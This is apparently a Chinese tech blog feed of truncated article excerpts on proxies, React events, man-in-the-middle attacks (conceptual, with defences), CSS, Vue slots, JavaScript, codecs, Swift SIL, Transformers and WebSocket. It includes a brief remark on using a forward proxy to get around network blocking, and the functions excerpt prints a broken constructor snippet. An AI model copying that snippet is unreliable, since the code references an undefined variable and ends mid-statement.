用户A无法访问facebook，但是能访问服务器B，而服务器B可以访问facebook。于是用户A访问服务器B，通过服务器B去访问facebook，，服务器B收到请求后，去访问facebook，facebook把响应信息返回给服务器B，服务器B再把响应信息返回给A。这样，通过代理服务器B，就实现了翻墙。

3.2 反向代理

从上面的介绍也可以猜出来反向代理的至少一个功能（比如负载均衡），也即：

假设用户A访问 **www.somesite.com/something.html**，但 www.somesite.com 上并不存在something.html页面，于是接收用户请求的该服务器就偷偷从另外一台服务器上取回来，然后返回给用户，而用户并不知道something.html页面究竟位于哪台机器上。

反向代理的作用就比较多了，这里简单列举一下：

保护和隐藏原始资源服务器
加密和SSL加速
负载均衡
缓存静态内容
压缩
减速上传
安全
外网发布

下面做两个简单介绍

保护和隐藏原始资源服务器

代理作用

用户A始终认为它访问的是原始服务器B而不是代理服务器Z，但实用际上反向代理服务器接受用户A的应答，从原始资源服务器B中取得用户A的需求资源，然后发送给用户A。由于防火墙的作用，只允许代理服务器Z访问原始资源服务器B。尽管在这个虚拟的环境下，防火墙和反向代理的共同作用保护了原始资源服务器B，但用户A并不知情。

负载均衡

负载均衡

当反向代理服务器不止一个的时候，我们甚至可以把它们做成集群，当更多的用户访问资源服务器B的时候，让不同的代理服务器Z（x）去应答不同的用户，然后发送不同用户需要的资源。

3.3 透明代理

透明代理比较类似正向代理的功能，差别在于客户端根本不知道代理的存在，它改编你的request，并会传送真实IP（使用场景就是公司限制网络的访问）。

比如为了工作效率或者安全，A公司屏蔽了QQ软件的使用。A公司的员工接上了网络，但发现无法使用qq。这就是透明代理捣的鬼。公司在内网和外网的中间插入一个透明代理，这个代理会根据规则抓取请求内容，遇到qq的请求我就把这个请求给屏蔽掉，这样就完成了透明屏蔽。当然了，如果你明白原理，就可以自己搞个正向代理来绕过公司的屏蔽。

Nginx作为时下最流行的HTTP服务器之一，同时它是一个反向代理服务器，提到反向代理服务器，有同学可能觉得这个概念很模糊，如果说到代理，他可能明白，但是再引出一个正向代理，估计懵了，笔者将尝试用浅显易懂的比方把这两个概念解释清楚。

正向代理

A同学在大众创业、万众创新的大时代背景下开启他的创业之路，目前他遇到的最大的一个问题就是启动资金，于是他决定去找马云爸爸借钱，可想而知，最后碰一鼻子灰回来了，情急之下，他想到一个办法，找关系开后门，经过一番消息打探，原来A同学的大学老师王老师是马云的同学，于是A同学找到王老师，托王老师帮忙去马云那借500万过来，当然最后事成了。不过马云并不知道这钱是A同学借的，马云是借给王老师的，最后由王老师转交给A同学。这里的王老师在这个过程中扮演了一个非常关键的角色，就是代理，也可以说是正向代理，王老师代替A同学办这件事，这个过程中，真正借钱的人是谁，马云是不知道的，这点非常关键。

我们常说的代理也就是只正向代理，正向代理的过程，它隐藏了真实的请求客户端，服务端不知道真实的客户端是谁，客户端请求的服务都被代理服务器代替来请求，知名的科学上网工具shadowsocks 扮演的就是典型的正向代理角色。在天朝用浏览器访问 www.google.com 时，被残忍的拒绝了，于是你可以在国外搭建一台代理服务器，让代理帮我去请求google.com，代理把请求返回的相应结构再返回给我。

反向代理

大家都有过这样的经历，拨打10086客服电话，可能一个地区的10086客服有几个或者几十个，你永远都不需要关心在电话那头的是哪一个，叫什么，男的，还是女的，漂亮的还是帅气的，你都不关心，你关心的是你的问题能不能得到专业的解答，你只需要拨通了10086的总机号码，电话那头总会有人会回答你，只是有时慢有时快而已。那么这里的10086总机号码就是我们说的反向代理。客户不知道真正提供服务人的是谁。

反向代理隐藏了真实的服务端，当我们请求 www.baidu.com 的时候，就像拨打10086一样，背后可能有成千上万台服务器为我们服务，但具体是哪一台，你不知道，也不需要知道，你只需要知道反向代理服务器是谁就好了，www.baidu.com 就是我们的反向代理服务器，反向代理服务器会帮我们把请求转发到真实的服务器那里去。Nginx就是性能非常好的反向代理服务器，用来做负载均衡。

react 事件机制

Tue, 17 Dec 2024 00:00:00 +0800

一前言

我们来一起探讨一下React事件原理，这篇文章，我尽量用通俗简洁的方式，把React事件系统讲的明明白白。

我们讲的react版本是16.13.1 , v17之后react对于事件系统会有相关的改版，文章后半部分会提及。

老规矩，在正式讲解react之前，我们先想想这几个问题(如果我是面试官，你会怎么回答?)：

我们写的事件是绑定在dom上么，如果不是绑定在哪里？
为什么我们的事件不能绑定给组件？
为什么我们的事件手动绑定this(不是箭头函数的情况)
为什么不能用 return false 来阻止事件的默认行为？
react怎么通过dom元素，找到与之对应的 fiber对象的？
onClick是在冒泡阶段绑定的？那么onClickCapture就是在事件捕获阶段绑定的吗？

必要的知识概念

在弄清楚react事件之前，有几个概念我们必须弄清楚，因为只有弄明白这几个概念，在事件触发阶段，我们才能更好的理解react处理事件本质。

我们写在JSX事件终将变成什么？

我们先写一段含有点击事件的react JSX语法，看一下它最终会变成什么样子？

class Index extends React.Component{
 handerClick= (value) => console.log(value)
 render(){
 return <div>
 <button onClick={ this.handerClick } > 按钮点击 </button>
 </div>
 }
}

经过babel转换成React.createElement形式，如下：

最终转成fiber对象形式如下：

fiber对象上的memoizedProps 和 pendingProps保存了我们的事件。

什么是合成事件？

通过上一步我们看到了，我们声明事件保存的位置。但是事件有没有被真正的注册呢？我们接下来看一下：

我们看一下当前这个元素<button>上有没有绑定这个事件监听器呢？

button上绑定的事件

我们可以看到，button上绑定了两个事件，一个是document上的事件监听器，另外一个是button，但是事件处理函数handle，并不是我们的handerClick事件，而是noop。

noop是什么呢？我们接着来看。

原来noop就指向一个空函数。

然后我们看document绑定的事件

可以看到click事件被绑定在document上了。

接下来我们再搞搞事情😂😂😂，在demo项目中加上一个input输入框，并绑定一个onChange事件。睁大眼睛看看接下来会发生什么？

class Index extends React.Component{
 componentDidMount(){
 console.log(this)
 }
 handerClick= (value) => console.log(value)
 handerChange=(value) => console.log(value)
 render(){
 return <div style={{ marginTop:'50px' }} >
 <button onClick={ this.handerClick } > 按钮点击 </button>
 <input placeholder="请输入内容" onChange={ this.handerChange } />
 </div>
 }
}

我们先看一下input dom元素上绑定的事件

中间人攻击

Wed, 04 Dec 2024 00:00:00 +0800

一句话总结：中间人攻击的关键在于获取公钥。

一、我和小美传纸条

我和隔壁班的小美互相喜欢，经常互相传纸条。但我懒得动，一般让老王帮我顺路带过去，我信任老王，所以就是简单把纸对折一下就交给老王了。

二、带锁的盒子

有一天我发现，老王居然偷看我的纸条！

我很生气，于是买了一个带锁的盒子，并配了两把钥匙🔑，我留一把，另一把让老王交给小美。我心想这下子老王没钥匙，看不了我们的纸条了。

三、一个需要两把钥匙的盒子

又过了几天，我发现老王还是会偷看，为什么呢？原来这老小子当初传递钥匙的时候，自己去复刻了一把！

于是我又想了一个办法，换了一个更高级的盒子，这个盒子必须用一对钥匙才能使用，使用公钥上锁，必须使用私钥才能打开。我委托老王把我的公钥交给小美，把小美的公钥拿给我。

以后我们都用对方的公钥来进行加密，对方用自己的私钥就能解密。而且就算老王把公钥拿去复刻一把也没关系，没有私钥他就打不开箱子，完美！

四、班主任

过了几天，我发现老王还是能偷看我们的纸条，为什么呢？？？？？？

我想了好几天终于想明白了！原来老王当初传递钥匙的时候，他把我俩的公钥自己留下了，这老小子把自己的公钥给了我们俩。他现在有手里有四把钥匙，想看什么看什么！

这次我们终于意识到问题的关键，不管什么方案，让老王传钥匙就得坏事！于是我和小美商量好，这次不通过老王，而是通过我的班主任传递公钥，终于可以愉快的聊天了！

五、网络中的加密知识

对称加密

对称加密使用同一个密钥进行加密和解密。它的优点是速度快，它的问题是密钥传播过程中一旦泄露，就功亏一篑了。

非对称加密

非对称加密使用一对密钥：公钥和私钥。公钥用于加密，私钥用于解密。它的优点是密钥分发问题得到解决，公钥可以公开传播。缺点是速度较慢，通常用于加密小数据量或密钥交换。常见做法是通过非对称加密建立链接，交换对称加密密钥，然后使用对称加密的方式进行消息传递。

证书

数字证书是由认证机构（CA）签发的，包含公钥及其持有者身份信息的电子文档。它通过 CA 的数字签名验证其真实性，确保通信双方的身份和公钥的可信性。（证书就是上面例子中的班主任，是一个可信任的获取对方公钥的机构。）

六、中间人攻击

中间人攻击的关键在于攻击者成功获取并提供可信公钥，欺骗用户使其认为其公钥是合法服务器的公钥。这可以通过伪造证书或利用受损的 CA 来实现。（用上面例子来说，就是老王把自己的公钥伪装成小美的公钥给了我）

作为普通用户防御措施很简单，当访问一个网站时，如果浏览器弹出“证书不可信”告警的时候，不要点“我信任”。

常见考点

1. 中间人攻击的基本概念

问题：

什么是中间人攻击？请用通俗的语言解释。
中间人攻击有哪些典型的攻击方式？
- 被动攻击（如窃听）。
- 主动攻击（如数据篡改）。
中间人攻击的危害有哪些？

关键点：

中间人攻击是一种攻击者拦截并篡改通信内容的攻击。
危害包括：窃取敏感数据（如密码）、篡改通信内容、伪装身份等。

2. 中间人攻击的原理

问题：

中间人攻击是如何实现的？请简要描述其工作流程。
在 HTTP 中，为什么容易发生中间人攻击？
HTTPS 是否完全能防止中间人攻击？为什么？
DNS 劫持和 ARP 欺骗是如何帮助实现中间人攻击的？

关键点：

工作流程：
1. 攻击者充当通信双方之间的“中间人”。
2. 拦截通信数据，可能进行监听或篡改。
常见技术：
- ARP 欺骗：伪装网关。
- DNS 劫持：将域名解析到攻击者控制的服务器。
- Wi-Fi 劫持：在公共网络中拦截通信数据。

3. 防御中间人攻击的技术措施

问题：

HTTPS 如何防御中间人攻击？它的安全机制是什么？
什么是证书信任链？如何防止伪造的证书？
什么是 HSTS（HTTP Strict Transport Security）？它如何防御中间人攻击？
什么是双向 SSL/TLS？它如何进一步提高安全性？
如何防止公共 Wi-Fi 中的中间人攻击？

关键点：

布局技巧

Thu, 10 Oct 2024 00:00:00 +0800

1、普通流（常规流）

文档流（流式布局）分为普通流、定位流、浮动流，不同流内的块级元素和行内元素的布局方式不同，布局方式用 FC（格式化上下文，含有块级格式化上下文、内联格式化上下文、层叠格式化上下文、灵活格式化上下文等）来命名；

普通流中的布局规则默认为块级盒子从上到下，垂直排列；内联盒子从左到右，水平排列等；（书写模式（writing-mode）会对流布局产生影响；

2、position

属性有：

static：默认值，元素依然按照普通流的定位规则定位；
relative
absolute
sticky
fixed

使用 position 会脱离常规流，成为定位流，并有其自己的定位规则；

3、float

属性有：

left
right
none
inherit

使用 float 会脱离常规流，成为浮动流，并有其自己的定位规则；

4、table

使用 HTML 标签来布局；

<table>
    <tr>
   <th></th>
   <th></th>
    </tr>
    <tr>
   <td></td>
        <td></td>
    </tr>
</table>

5、flex

2009 年 W3C 提供的方案，注意只有 IE 10+ 支持 flex；

重要的概念：flex 容器，flex 项目，主轴，交叉轴；

设置某个元素的属性 display: flex;，此元素就成了 flex 容器，flex 容器内的元素是 flex 项目；

flex 容器的属性：

flex-direction
flex-wrap
flex-flow
justify-content
align-items
align-content

flex 项目的属性

flex （flex-grow、flex-shrink、flex-basis）
order
align-self

6、grid

二维布局方式，相对于使用 HTML 结构实现的 table 布局，grid 布局都是在 CSS 中完成的；

插槽

Fri, 04 Oct 2024 00:00:00 +0800

一、插槽的几种使用方式

1. 普通插槽

举例来说，这里有一个 <FancyButton> 组件，可以像这样使用：

<FancyButton>
 Click me! <!-- 插槽内容 -->
</FancyButton>

而 <FancyButton> 的模板是这样的：

<button class="fancy-btn">
 <slot></slot> <!-- 插槽出口 -->
</button>

<slot> 元素是一个 插槽出口 (slot outlet)，标示了父元素提供的 插槽内容 (slot content) 将在哪里被渲染。

最终渲染出的 DOM 是这样：

<button class="fancy-btn">Click me!</button>

2. 具名插槽

有时在一个组件中包含多个插槽出口是很有用的。举例来说，在一个 <BaseLayout> 组件中，有如下模板：

<div class="container">
 <header>
 <!-- 标题内容放这里 -->
 </header>
 <main>
 <!-- 主要内容放这里 -->
 </main>
 <footer>
 <!-- 底部内容放这里 -->
 </footer>
</div>

对于这种场景， <slot> 元素可以有一个特殊的 attribute name，用来给各个插槽分配唯一的 ID，以确定每一处要渲染的内容：

Generator

Wed, 02 Oct 2024 00:00:00 +0800

聊聊 `for of`

说起 for of 相信每个写过 JavaScript 的人都用过 for of ，平时我们用它做什么呢？大多数情况应该就是遍历数组了，当然，更多时候，我们也会用 map() 或者 filer() 来遍历一个数组。但是就像我们标题里面说的，它跟 Generator 能扯上什么关系呢？

首先我们想一个问题，为什么使用 for of 或者 map()/filer() 方法就可以遍历一个数组 (或者类数组对象: Strings , Maps , Sets , arguments ) 呢？为什么不能用他们来遍历一个对象呢？

你能学到什么

对 for of 更深入的理解
iterator 到底是何方神圣?
数组也是对象，为什么不能用 for of 来遍历对象呢？
如何实现对象的 for of?
Generator 又是何方神圣？他有什么用呢？

类数组对象的玄机

在真正揭开谜底之前，站在 for of 的角度想一下，现在让你去遍历一个数组，你需要知道什么信息呢？

对应下标的值
是否遍历结束的标志

带着这样的思考，我们打印一个数组来看看这里面的玄机：

const numbersArray = [1, 2, 3];

console.dir(numbersArray);

数组 (或者类数组对象: Strings , Maps , Sets , arguments ) 的原型中都实现了一个方法 Symbol.iterator，问题来了，那么这个 Symbol.iterator 又有什么用呢？拿出来试一下就知道了：

函数与函数式编程

Tue, 01 Oct 2024 00:00:00 +0800

纵观JavaScript中所有必须需要掌握的重点知识中，函数是我们在初学的时候最容易忽视的一个知识点。在学习的过程中，可能会有很多人、很多文章告诉你面向对象很重要，原型很重要，可是却很少有人告诉你，面向对象中所有的重点难点，几乎都与函数息息相关。

包括之前几篇文章介绍的执行上下文，变量对象，闭包，this等，都是围绕函数的细节来展开。

很多人在学习中，很急切的希望自己快一点开始学习面向对象，学习模块，学习流行框架，然后迅速成为高手。但是我可以很负责的告诉你，关于函数的这些基础东西没理解到一定程度，那么你的学习进展一定是举步维艰的。

所以，大家一定要重视函数！

当然，关于函数的重点，难点在前面几篇文章都已经说得差不多了，这篇文章主要总结一下函数的基础知识，并初步学习函数式编程的思维。

一、函数声明、函数表达式、匿名函数与自执行函数

关于函数在实际开发中的应用，大体可以总结为函数声明、函数表达式、匿名函数、自执行函数。

函数声明

我们知道，JavaScript中，有两种声明方式，一个是使用var的变量声明，另一个是使用function的函数声明。

在前端基础进阶（三）：变量对象详解中我有提到过，变量对象的创建过程中，函数声明比变量声明具有更为优先的执行顺序，即我们常常提到的函数声明提前。因此我们在执行上下文中，无论在什么位置声明了函数，我们都可以在同一个执行上下文中直接使用该函数。

fn(); // function

function fn() {
 console.log('function');
}

函数表达式

与函数声明不同，函数表达式使用了var进行声明，那么我们在确认他是否可以正确使用的时候就必须依照var的规则进行判断，即变量声明。我们知道使用var进行变量声明，其实是进行了两步操作。

// 变量声明
var a = 20;

// 实际执行顺序
var a = undefined; // 变量声明，初始值undefined，变量提升，提升顺序次于function声明
a = 20; // 变量赋值，该操作不会提升

同样的道理，当我们使用变量声明的方式来声明函数时，就是我们常常说的函数表达式。函数表达的提升方式与变量声明一致。

fn(); // 报错
var fn = function() {
 console.log('function');
}

上例子的执行顺序为：

var fn = undefined; // 变量声明提升
fn(); // 执行报错
fn = function() { // 赋值操作，此时将后边函数的引用赋值给fn
 console.log('function');
}

因此，由于声明方式的不同，导致了函数声明与函数表达式在使用上的一些差异需要我们注意，除此之外，这两种形式的函数在使用上并无不同。

关于上面例子中，函数表达式中的赋值操作，在其他一些地方也会被经常使用，我们清楚其中的关系即可。

在构造函数中添加方法
function Person(name) {
 this.name = name;
 this.age = age;
 // 在构造函数内部中添加方法
 this.getAge = function() {
 return this.age;
 }
 this.
}
// 给原型添加方法
Person.prototype.getName = function() {
 return this.name;
}

// 在对象中添加方法
var a = {
 m: 20,
 getM: function() {
 return this.m;
 }
}

匿名函数

多媒体技术

Fri, 27 Sep 2024 00:00:00 +0800

对于大多数前端工程师来说，音视频技术是一个比较少涉足的领域，

本知识点主要介绍流媒体技术中的文本、图形、图像、音频和视频多种理论知识，涉及到播放器、web媒体技术、主流框架等内容。

一、音视频基础

1.1 视频

1.1.1 基础概念

码率	单位时间内取样率越大，精度就越高，处理出来的文件就越接近原始文件。
帧率	对视频来说，帧率对应这观看卡顿。帧率越高，流畅度越高，低帧率会造成视觉卡顿。
压缩率	经过压缩后文件的大小 / 原始文件的大小 * 100% = 压缩率。编码压缩越小越好，但压得越小，解压时间
分辨率	用于度量图像内数据量多少的一个参数，和视频清晰度息息相关。

1.1.2 视频容器格式

容器格式相信大家经常见到：
MP4、AVI、FLV、TS/M3U8、WebM、OGV、MOV…

1.1.2 视频编码格式

H.264	目前最流行的编码格式。
H.265	新型的编码格式，高效的视频编码。用来以替代H.264/AVC编码标准。
VP9	VP9是WebM Project开发的下一代视频编码格式。VP9支持从低比特率压缩到高质量超高清的所有Web和移动用例，并额外支持10/12位编码和HDR
AV1	AOM（Alliance for Open Media，开放媒体联盟）制定的一个开源、免版权费的视频编码格式。AV1是google制定的VP9标准的继任者，也是H265强有力的竞争者。

1.2 音频

1.2.1 基础概念

采样率	音频采样率是指录音设备在一秒钟内对声音信号的采样次数，采样频率越高声音的还原就越真实越自然。
采样大小	一秒钟所采的样本数为比特率，每个样本中信息的比特数就是位深，即采样精度，单位为Bit。
比特率	指每秒传送的比特(bit)数，又称数据信号速率。单位为比特/秒、千比特/秒或兆比特/秒。比特率越高，表示单位时间传送的数据就越多。
压缩率	原始音频数据与通过PCM等压缩编码技术压缩后的数据大小的比率

1.2.2 音频容器格式

音频格式也比较常见：WAV、AIFF、AMR、MP3、Ogg…

1.2.3 音频编码格式

PCM	脉冲编码调制(Pulse Code Modulation,PCM)，PCM是数字通信的编码方式之一。
AAC-LC(MPEG AAC Low Complexity)	低复杂度编码解码器（AAC-LC — 低复杂度高级音频编码）是低比特率、优质音频的高性能音频编码解码器。
AAC-LD	（又名AAC低延迟或MPEG-4低延迟音频编码器），为电话会议和OTT服务量身打造的低延迟音频编解码器
LAC（Free Lossless Audio Codec）	免费无损音频编解码器。是一套著名的自由音频压缩编码，其特点是无损压缩。 2012年以来它已被很多软件及硬件音频产品（如CD等）所支持。

1.3 常见标签

1.3.1 `<audio>` 元素

1.3.1.1 基本用途

<audio> 元素用于在网页中嵌入音频内容。它可以播放音乐、播客、音效等。

SIL（Swift Intermediate Language）

Sat, 02 May 2026 22:32:27 +0800

SIL（Swift Intermediate Language，Swift 中间语言）是 Swift 编译器在编译过程中生成的一种中间表示（Intermediate Representation，IR）。它位于 Swift 源码与 LLVM IR 之间，是 Swift 编译器架构中至关重要的一层。

SIL 的设计目标是：

对 Swift 语言的高级语义进行精确建模
在高层抽象的基础上执行强大的优化
保留足够的类型信息，用于诊断和安全检查
作为 Swift 特有优化的载体，弥补 LLVM IR 无法直接表达 Swift 语义的不足

SIL 并不是给开发者日常编写的语言，而是编译器的内部表示。理解它有助于深入理解 Swift 的编译过程、性能优化原理和内存管理机制。

Swift 编译流程概览

在了解 SIL 之前，需要先理解 Swift 的整体编译流程：

flowchart TD
A[Swift 源代码 .swift] --> B[词法分析 Lexer]
B --> C[语法分析 Parser]
C --> D[语义分析 Sema]
D --> E[SILGen: 生成 Raw SIL]
E --> F[SIL 优化 Guaranteed Passes]
F --> G[SIL 优化 General Passes]
G --> H[IRGen: 生成 LLVM IR]
H --> I[LLVM 优化]
I --> J[机器码 .o]
J --> K[链接器 Linker]
K --> L[可执行文件 / 动态库]

各阶段简述

词法分析（Lexer）

编译的第一步。Lexer 逐字符扫描 .swift 源文件，将其切分为一系列Token（词法单元），例如关键字 func、标识符 add、运算符 +、字面量 42、左右括号等。Token 是后续所有分析的最小输入单位。这一步会剥离注释和空白，但保留它们的位置信息以便后续生成精确的诊断信息（错误提示的行号和列号）。

Transformer架构原理

Sat, 02 May 2026 22:32:27 +0800

ChatGPT、Claude、Gemini——这些模型的核心都是同一个架构：Transformer。它在2017年由Google的论文"Attention Is All You Need"提出，彻底改变了自然语言处理（NLP）领域，随后席卷了计算机视觉、语音、蛋白质折叠等几乎所有AI领域。

我们从最直觉的角度出发，一步步搞清楚Transformer到底在做什么。

一、从序列到序列：Transformer要解决什么问题

1.1 语言的本质是序列

一句话是一个词的序列：

"我 今天 很 开心" → [我, 今天, 很, 开心]

语言模型的核心任务是：给定前面的词，预测下一个词。

"我 今天 很" → ?（开心？难过？忙碌？）

但词与词之间的关系非常复杂。“它"指代谁？“银行"是河岸还是金融机构？这取决于上下文中其他词的信息。

1.2 RNN的困境

在Transformer之前，处理序列的主流方法是循环神经网络（RNN）。RNN像一个人从左到右逐词阅读，用一个"记忆状态"来记住看过的内容：

graph LR
X1["我"] --> H1["h₁"]
H1 --> H2["h₂"]
X2["今天"] --> H2
H2 --> H3["h₃"]
X3["很"] --> H3
H3 --> H4["h₄"]
X4["开心"] --> H4

问题在于：

长距离依赖困难：信息需要经过很多步才能从序列开头传到末尾，容易丢失
无法并行：必须逐步处理，前一步完成才能开始后一步，训练很慢

Transformer的核心洞察是：不需要逐步处理，让序列中的每个位置直接与所有其他位置交互。这就是"注意力（Attention）“机制。

二、词嵌入：给词语一个数学身份

2.1 从独热编码到词向量

计算机不认识"猫”、“狗"这样的文字。我们需要把词转换成数字。

最朴素的方式是独热编码（One-Hot Encoding）：假设词汇表有50,000个词，每个词用一个50,000维的向量表示，只有对应位置是1，其余全是0。

"猫" → [0, 0, ..., 1, ..., 0, 0] (第3721个位置是1)
"狗" → [0, 0, ..., 0, 1, ..., 0, 0] (第5042个位置是1)

问题：在这种表示下，“猫"和"狗"的距离与"猫"和"经济学"的距离一样远——完全丢失了语义信息。

观察者模式

Sat, 02 May 2026 22:32:27 +0800

定义

观察者模式（Observer Pattern）是一种行为型设计模式，它定义了对象之间的一对多依赖关系，当一个对象（主题/被观察者）的状态发生改变时，所有依赖于它的对象（观察者）都会收到通知并自动更新。

观察者模式也被称为发布-订阅模式（Publish-Subscribe Pattern）。

为什么需要观察者模式

观察者模式要解决的核心问题是：当一个对象的状态发生变化时，如何自动通知所有依赖它的对象。

问题场景：假设我们正在开发一个电商App，用户登录后需要更新多个页面的状态（首页显示用户名、购物车同步、个人中心更新等）。

最直接的方式可能是这样：

class LoginService {
 func login(username: String, password: String) {
 // 登录成功后...
 let user = User(name: username)

 // 直接调用各个需要更新的对象
 HomeViewController.shared.updateUser(user)
 CartViewController.shared.syncCart(for: user)
 ProfileViewController.shared.refreshProfile(user)
 // 如果还有其他需要通知的地方，继续添加...
 }
}

这种方式有什么问题？

紧耦合：LoginService必须知道所有需要通知的对象，依赖关系错综复杂
难以维护：每新增一个需要监听登录事件的页面，都要修改LoginService
违反开闭原则：对扩展不开放，每次扩展都要修改已有代码
单例滥用：为了让LoginService能访问到各个页面，不得不使用大量单例

观察者模式的解决思路：

被观察者（Subject）只负责"广播"状态变化，不关心谁在监听；观察者（Observer）自己注册感兴趣的事件：

// 使用NotificationCenter实现
class LoginService {
 func login(username: String, password: String) {
 let user = User(name: username)

 // 只负责发送通知，不关心谁在监听
 NotificationCenter.default.post(
 name: .userDidLogin,
 object: nil,
 userInfo: ["user": user]
 )
 }
}

// 各个页面自己注册监听
class HomeViewController: UIViewController {
 override func viewDidLoad() {
 super.viewDidLoad()
 NotificationCenter.default.addObserver(
 self,
 selector: #selector(handleUserLogin),
 name: .userDidLogin,
 object: nil
 )
 }

 @objc func handleUserLogin(_ notification: Notification) {
 if let user = notification.userInfo?["user"] as? User {
 updateUI(with: user)
 }
 }
}

观察者模式的好处：

代码分割工程化

Thu, 07 Aug 2025 00:00:00 +0800

什么是 Bundle Splitting？

Bundle Splitting（代码分割）是一种将前端资源拆分成更小、独立的模块的技术。传统上，前端资源（如 JavaScript、CSS 和图片等）被打包成单个文件，通常称为“bundle”。这种方式存在一个问题，即无论用户需要哪些功能，都必须下载整个 bundle。而 Bundle Splitting 技术通过将代码拆分为更小的模块，按需加载，可以有效解决这个问题。

Bundle Splitting 的优点

减少初始加载时间通过将代码拆分为多个小块，可以减少初始加载时间。当用户首次访问网页时，只需下载当前页面所需的资源，而无需等待整个应用程序的加载完成。这可以极大地提高页面的响应速度，并减少用户的等待时间。
提升用户体验通过将代码分割成模块，可以使应用程序更具响应性。当用户与应用进行交互时，只需加载所需的代码块，而不是整个应用。这将减少不必要的资源消耗，并使用户感觉应用更加流畅和快速。
优化缓存策略拆分代码还能优化缓存策略。当应用程序发生更改时，只需重新加载发生变化的模块，而不必重新下载整个应用。这减少了不必要的网络请求，提高了应用的更新效率，并减轻了服务器的负载。
并行加载资源通过将代码拆分为多个模块，可以实现并行加载资源。浏览器能够同时下载多个文件，从而减少整体加载时间。这对于大型应用程序和复杂的前端框架特别有益，能够更好地利用浏览器的并行下载能力，提高资源的加载效率。
代码复用和维护通过将代码分割成模块，可以更好地实现代码的复用和维护。不同的模块可以根据需求进行加载和升级，使得代码结构更加清晰、模块化。这也有助于团队合作，不同开发者可以并行工作在不同的模块上，提高开发效率和代码质量。

Bundle Splitting 的缺点

增加了网络请求拆分代码会增加应用程序的网络请求次数。每个模块都需要进行一次独立的网络请求，这可能会导致一些额外的延迟和性能损失。在网络条件较差的情况下，这可能会对用户体验产生一定影响。
增加了开发复杂性使用 Bundle Splitting 技术需要对应用程序的依赖关系进行深入分析和管理。开发人员需要仔细考虑代码的拆分点，以及如何在运行时动态加载模块。这增加了开发复杂性，并要求开发人员具备较高的技术水平和经验。
潜在的代码冗余当模块之间存在共享的代码片段时，可能会出现潜在的代码冗余问题。如果不合理地进行代码拆分，可能会导致多个模块中存在相同的代码，增加了资源的下载和维护成本。因此，在进行代码拆分时，需要仔细考虑代码复用和代码冗余的问题。
需要额外的工具和配置 Bundle Splitting 需要使用额外的工具和配置来实现代码的拆分和动态加载。这可能需要对构建工具进行配置，如 Webpack、Rollup 等，以及对模块加载器进行调整。这增加了一些学习成本和开发成本，尤其是对于新手来说。

Bundle Splitting 的适用场景

Bundle Splitting 技术适用于大型的 Web 应用程序，特别是那些具有复杂功能和大量依赖的应用。以下是一些适合使用 Bundle Splitting 的场景：

大型单页应用：对于由多个模块组成的单页应用，使用 Bundle Splitting 可以提高初始加载速度，提升用户体验。
按需加载：对于需要动态加载不同功能模块的应用，Bundle Splitting 可以根据用户的需求按需加载模块，减少不必要的资源消耗。
公共库和框架：对于使用公共库或框架的应用，可以将这些库和框架拆分成单独的模块，以便在多个页面中共享和复用。
国际化支持：对于需要支持多种语言的应用，可以将不同语言的资源文件拆分成独立的模块，根据用户的语言偏好进行加载。
代码分支管理：对于大型团队开发的项目，使用 Bundle Splitting 可以更好地实现代码的分支管理和并行开发，提高开发效率。

Bundle Splitting 在知名项目中的应用

示例 1：React.lazy 和 Suspense

React.js 是一个广泛使用的 JavaScript 库，用于构建用户界面。React 提供了 React.lazy 和 Suspense API 来实现 Bundle Splitting。

WebSocket相关

Mon, 28 Jul 2025 00:00:00 +0800

一、前言

因为项目中使用到了 WebSocket ，面试官在深挖项目经验的时候，也难免提到 WebSocket 相关的知识点，通过这篇文章再做一下总结。

二、什么是WebSocket

WebSocket 是一种在单个TCP连接上进行全双工通信的协议。WebSocket 使得客户端和服务器之间的数据交换变得更加简单，允许服务端主动向客户端推送数据。

在 WebSocket API 中，浏览器和服务器只需要完成一次握手，两者之间就直接可以创建持久性的连接，并进行双向数据传输。

WebSocket本质上一种计算机网络应用层的协议，用来弥补http协议在持久通信能力上的不足。

WebSocket 协议在2008年诞生，2011年成为国际标准。现在最新版本浏览器都已经支持了。

它的最大特点就是，服务器可以主动向客户端推送信息，客户端也可以主动向服务器发送信息，是真正的双向平等对话，属于服务器推送技术的一种。

WebSocket 的其他特点包括：

（1）建立在 TCP 协议之上，服务器端的实现比较容易。

（2）与 HTTP 协议有着良好的兼容性。默认端口也是80和443，并且握手阶段采用 HTTP 协议，因此握手时不容易屏蔽，能通过各种 HTTP 代理服务器。

（3）数据格式比较轻量，性能开销小，通信高效。

（4）可以发送文本，也可以发送二进制数据。

（5）没有同源限制，客户端可以与任意服务器通信。

（6）协议标识符是ws（如果加密，则为wss），服务器网址就是 URL。

ws://example.com:80/some/path

为什么需要 WebSocket？

我们已经有了 HTTP 协议，为什么还需要另一个协议？它能带来什么好处？

因为 HTTP 协议有一个缺陷：通信只能由客户端发起，不具备服务器推送能力。

举例来说，我们想了解查询今天的实时数据，只能是客户端向服务器发出请求，服务器返回查询结果。HTTP 协议做不到服务器主动向客户端推送信息。

这种单向请求的特点，注定了如果服务器有连续的状态变化，客户端要获知就非常麻烦。我们只能使用“轮询”：每隔一段时候，就发出一个询问，了解服务器有没有新的信息。最典型的场景就是聊天室。轮询的效率低，非常浪费资源（因为必须不停连接，或者 HTTP 连接始终打开）。

在 WebSocket 协议出现以前，创建一个和服务端进双通道通信的 web 应用，需要依赖HTTP协议，进行不停的轮询，这会导致一些问题：

服务端被迫维持来自每个客户端的大量不同的连接
大量的轮询请求会造成高开销，比如会带上多余的header，造成了无用的数据传输。

http协议本身是没有持久通信能力的，但是我们在实际的应用中，是很需要这种能力的，所以，为了解决这些问题，WebSocket协议由此而生，于2011年被IETF定为标准RFC6455，并被RFC7936所补充规范。

并且在HTML5标准中增加了有关WebSocket协议的相关api，所以只要实现了HTML5标准的客户端，就可以与支持WebSocket协议的服务器进行全双工的持久通信了。

WebSocket 与 HTTP 的区别

WebSocket 与 HTTP的关系图：

相同点： 都是一样基于TCP的，都是可靠性传输协议。都是应用层协议。

受控组件和非受控组件

Tue, 17 Dec 2024 00:00:00 +0800

前端开发经常会涉及表单的处理，或者其他一些用于输入的组件，比如日历组件。

涉及到输入，就绕不开受控模式和非受控模式的概念。

什么是受控，什么是非受控呢？

想一下，改变表单值只有两种情况：

用户去改变 value 或者代码去改变 value。

如果不能通过代码改表单值 value，那就是非受控，也就是不受我们控制。

但是代码可以给表单设置初始值 defaultValue。

代码设置表单的初始 value，但是能改变 value 的只有用户，代码通过监听 onChange 来拿到最新的值，或者通过 ref 拿到 dom 之后读取 value。

这种就是非受控模式。

反过来，代码可以改变表单的 value，就是受控模式。

注意，value 和 defaultValue 不一样：

